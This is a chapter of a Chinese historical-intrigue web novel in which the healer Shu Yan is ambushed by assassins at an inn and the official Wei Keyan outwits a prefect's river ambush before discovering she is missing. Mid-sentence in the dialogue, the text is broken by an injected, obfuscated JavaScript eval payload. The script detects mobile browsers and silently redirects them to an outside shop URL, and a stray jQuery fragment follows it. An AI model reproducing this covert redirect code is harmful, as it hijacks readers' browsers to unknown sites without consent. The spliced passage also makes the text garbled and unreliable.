江心孤岛附近的滩涂上,荻花开得正盛。
不久前的那场火,对江岛来说似乎只是一场幻梦,只用江波轻轻漫过便掩盖了个干净。
新的杆子已密密竖起,穗子蓬松饱满,风一吹,便散作漫天白絮。
在白茫茫的间隙里,荻花杆子下正伏着黑漆漆影子。
江波涌动,一只小船顺着江风缓缓靠近岛屿。
荻花微微耸动。
“还有十尺。”
沙哑的声音响起,声音低得很快散在风里。
伏兵们半身陷在滩泥里,腕缠铁链,早已在此等候多时。
一团荻絮远没有他们谨慎,只是一缕清风,便轻易地将它们吹向扁舟之上。
扁舟轻飘飘的,荻絮轻轻掠过。
风打着卷,又无情地将它们吹散,于是有一些便随着风,穿过窗,飞向了江边的客栈。
舒晏抬手挥开漂浮的白絮,走了进去。
客栈内座无虚席,客人们各自吃喝闲谈,一派寻常市井气。
“栖尘道长,这边请。”店家侧身殷勤地将舒晏引上楼。
元骁目光警戒地在客栈内扫了一圈,亦步亦趋地跟在道长身后,手不经意地搭在刀把上。
其余侍卫则守在楼下。
还没进门,一声重过一声的咳嗽声就透过门传来。
这咳声沉浊,舒晏几不可查地皱了皱眉,步履迟缓了些,转头看向店家,“这屋内的是袁郎君?”
店家忙推开客房木门,连连点头,“正是啊,这里面便是袁公子。道长快些给他治治才好,可别让他死我店里了。”
舒晏朝屋内看去,只见门窗都关得紧紧的。病人躺在床上,帷帐拉得严实,教人看不出身形。
她的视线最后落在了窗沿,上面堆着小塔状的松子壳,定了定心,还是抬步走了进去。
床角熏炉静立,袅袅青烟悠悠腾起。
帐内的身影挣扎着想起身。
“袁郎君不必起身,劳请伸手,我为你诊脉。”
舒晏隔着帘帐,声音轻稳平和。
帘帐内又响起阵阵咳嗽声,良久,一只手才迟缓地伸出帘外。
舒晏垂眸看着那双手,心中已经有了数。她将手轻轻地搭在他的手腕上,然后对着元骁摇了摇头。
“走!”
她喊道。
舒晏正欲收回手,那病人却猛地发力,反手死死地扣住了她的手腕。
元骁见状,长刀拔出,利落劈下,直斩那人手臂。
鲜血四溅。
那只断手竟还抓着她的手腕不放,指节生生压出几道发白的凹痕。
她并不惊慌,只垂眼看了看,冷冷地把那只还温热的手扒拉了下来。
屋内陡然窜出数道黑影,潜藏已久的刺客尽数现身,齐齐扑杀而来。
舒晏身后斜刺来一把匕首,店家不知何时,已靠近她的身侧。
元骁把舒晏护在了身后,连杀数人,“道长躲我身后,属下定能护你周全。”
楼下也紧随响起了打斗声。
有几个刺客突破重围,驰援上楼,才堪堪稳住局面。
未等众人喘息,元骁注意到床底传来了动静。
一个刺客从底下窜出,装束与先前的刺客如出一辙,辨不清容貌,只能看出身形高挑纤瘦。刺客手中只持着一对普通双棍,力道却大得狠,每一次撞击都将他的手臂震得发麻。
见来者不是善茬,他吩咐身后两个侍卫,“你们先带道长离开,我挡着他拖些时间。”
舒晏似被吓住,身体骤然向后一退,后腰不经意地撞倒了案上熏炉,火星散了一地。
一抹细粉悄然而落,未烬的火星倏地窜起半寸,周遭漫开一缕清浅的异香。
江风骤紧,吹得荻花四散。
层层叠叠的江波,终于将船推至岸边。
“三尺。”
刹时,锁链声穿插着水声一齐响了起来。
“上!!!”
埋伏已久的人冲向前,拉住铁索控制住了船只,让它既不能前进也不能后退。
一声哨响。
无数的箭矢从岛上射出,直直刺向那船。
可……只有寂静。
没有反抗,没有血,也没有人。
太守从暗处冲出,上前一瞧,却发现这是一只空船。
他一把将报信的人扯了过来,“你不是说卫恪焉一大早,就从官署往渡口来了?人呢?”他一个巴掌扇过去,“我问你人呢?”
那探子被扇得一个趔趄,忙跪下磕头认错。
“小的也不知啊,那卫恪焉得了我们放的假信,立刻就从官署往渡口来了啊,小的若有半句虚言,便叫我入九幽地狱死个百八十回。”
太守咬着牙,夺过刀向船劈去,“他知道那放出的是假消息,他是在故意耍我,把我当戏看!”
此时,临江雅岸的戏台上,排了一出好戏。
卫恪焉正在此处吃酒,看戏,看到精彩处,忍不住击掌赞叹。
“主子,江上的那出戏也演完了。”元辞插着戏曲空隙汇报。
卫恪焉笑了笑,为自己斟了杯酒,雪白绵密的酒花浮起,颇有些遗憾的样子。
“真可惜没有现场看看他是个什么表情,想来是要比台上的戏子要更有趣的。”
桌上有松子,他尝了几颗,味道不错,慢慢地剥了起来,剥好的便用油纸仔细包好。
太守回了岸,原是满肚子火气。见济微道士的信,本是不想看的,只是传信的人一个劲地说是好消息,他才拿了起来。
他紧皱的眉头缓缓松开,真是个好消息,济微那儿得手了。
没擒住正主,抓到软肋也能凑合。
今早大明大摆的往岛上去,又在岛上弄出了些动静,若是卫恪焉真心与他合作,他自然不会前来。
但今早他出门不久,便得了消息说卫恪焉也出了官署,这才在岛边设了埋伏,却不想这卫恪焉不仅是看穿了,还找了个空船戏耍他。
幸好他做了两手准备,他倒要看看这个卫恪焉究竟能笑多久。
“卫恪焉人呢?”
“在临江雅岸的戏台看戏。”
他胸口无名火直冒,“走!我倒要看看,栖尘被抓了,他还能听得下去。”
卫恪焉见到他并不意外,今早那一场,也算是撕破了脸。
他只意外这刘廷还挺能沉得住气。
“卫中书兴致不错啊。”
刘太守大步跨进来,径自坐到主位旁边的椅子上,自顾自地斟了杯酒。
“听说大人一大早就来看戏?”
卫恪焉目光仍落在戏台上,他端起酒杯,在指间转了一圈,“是啊,我这个人就爱看戏。最爱看的——”
他终于转过头,上下扫了刘廷一眼,那目光从官帽到沾了泥泞的靴尖,不紧不慢地走了一遍。
意有所指道:“就是那些丑角跳脚。”
太守笑容未变,只是捏着酒杯的指尖紧了些。
“戏虽好看,但像大人这样,非要撕破脸面的,倒也少见。大人不是守信之人吗,何故无端毁约,难道是价格
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17729066|208090||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
不合适?我们再商议便是,何必争个鱼死网破。”
卫恪焉神色也是颇为惋惜,“我们先前是说好了没错,但今早设下埋伏的可不是我,大人自己先毁了你我之约,如今便也怪不得我了。”
他叹口气,“先前只以为大人只是迷惑民众,贪些银钱。可如今卫某才发现,大人的所作所为恐怕不止于此啊。”
他指尖轻叩桌子,语气里似有惶恐。
“圈养私兵,那可是谋反的罪名,再多的钱,我也不敢替你遮掩啊。”
太守慌忙向周围看去,见无人注意,才反驳道:“卫大人慎言,说话可是要讲究证据的。”
卫恪焉笑了,“证据?你可能不知,百姓也没那么买你的账,我这些日子可是收到了不少证据。什么浔川郡青年外出经商啊、什么出去后遇到风浪人就没了啊,现在想想,恐怕这些人都在那岛上吧。”
太守站了起来,“大人现在可还在浔川郡呢,你身边的人也不多,何苦来与我争个鱼死网破。”
他想到自己的筹码,语气中多了几分十拿九稳。
“我刚刚来的路上,听说栖尘道长外出看诊了,现在这个时辰,也不知道结束了没。”
卫恪焉一贯淡然地笑僵住了,他先是瞥了元辞一眼,继而看向刘太守。
“怎么,杀不了我就拿她来威胁我?你莫不是以为我会为了她饶了你?”
“下官不敢妄自揣测大人,只是听说大人打算今夜让栖尘道长离开浔川郡,想来定是担忧她的安危的。”
太守自以为终于压了他一头,圆润的面庞上透出几分阴狠。
卫恪焉垂下眼睫,先不说栖尘若无意外,应当在官署待着。就说有元骁跟着她,应该也不至于被这不中用的太守抓走。
不能乱了阵脚,他许是在诈他。
但不好的预感却瞬间在他心头弥漫开。
可若是真的呢?栖尘不过一介弱女子,若是真被抓了,不知会有多害怕。
他盯着太守的眼神沉了下来,怒极反笑,“太守大人,真是聪慧,这么擅长自寻死路。这戏还是让太守自己看吧,以后想看怕是难了。”
说罢拂袖离去。
他现在必须要去确认,她在哪。
元辞跟在卫恪焉身后不敢出声,若是栖尘道长真的不见了,只怕元骁真的是要完蛋了。
不料刚出戏台,迎面便撞上来送信的仆役。
“栖尘道长早上出去客栈给人诊病,到现在还没回来。”
元辞听见这话,只觉得天旋地转,“元骁呢,他跟去没?”
仆役回道:“元侍卫跟着去了,还带了些侍卫。”
元辞听见此话,稍稍放心了些,“她们往哪去了,快带路。”
卫恪焉一路无话,径直往客栈去。
一进客栈,他的心便沉了下来。
客栈内一片打斗的痕迹,他往二楼查看,只发现了已经昏迷的元骁。
元辞找来水往元骁脸上泼去,又掐了人中好久,他却还没醒来。
卫恪焉已经将客栈里里外外都搜了一遍,却还没看到栖尘的身影。
她…不见了。
只在二楼客房的床底,找到了他送她的云纹玉簪。
玉簪有了裂纹,颤抖的指尖抚过带来轻微的刺痛,卫恪焉怔然,大脑内一片空白。
“把人抬回去。”他强自镇定吩咐道。
恐慌和愤怒死死缠绕着他的心,他握紧玉簪,任由这簪尖狠狠地刺入掌心,素白美玉一点点染上了猩红。
这刘廷可真是会找死。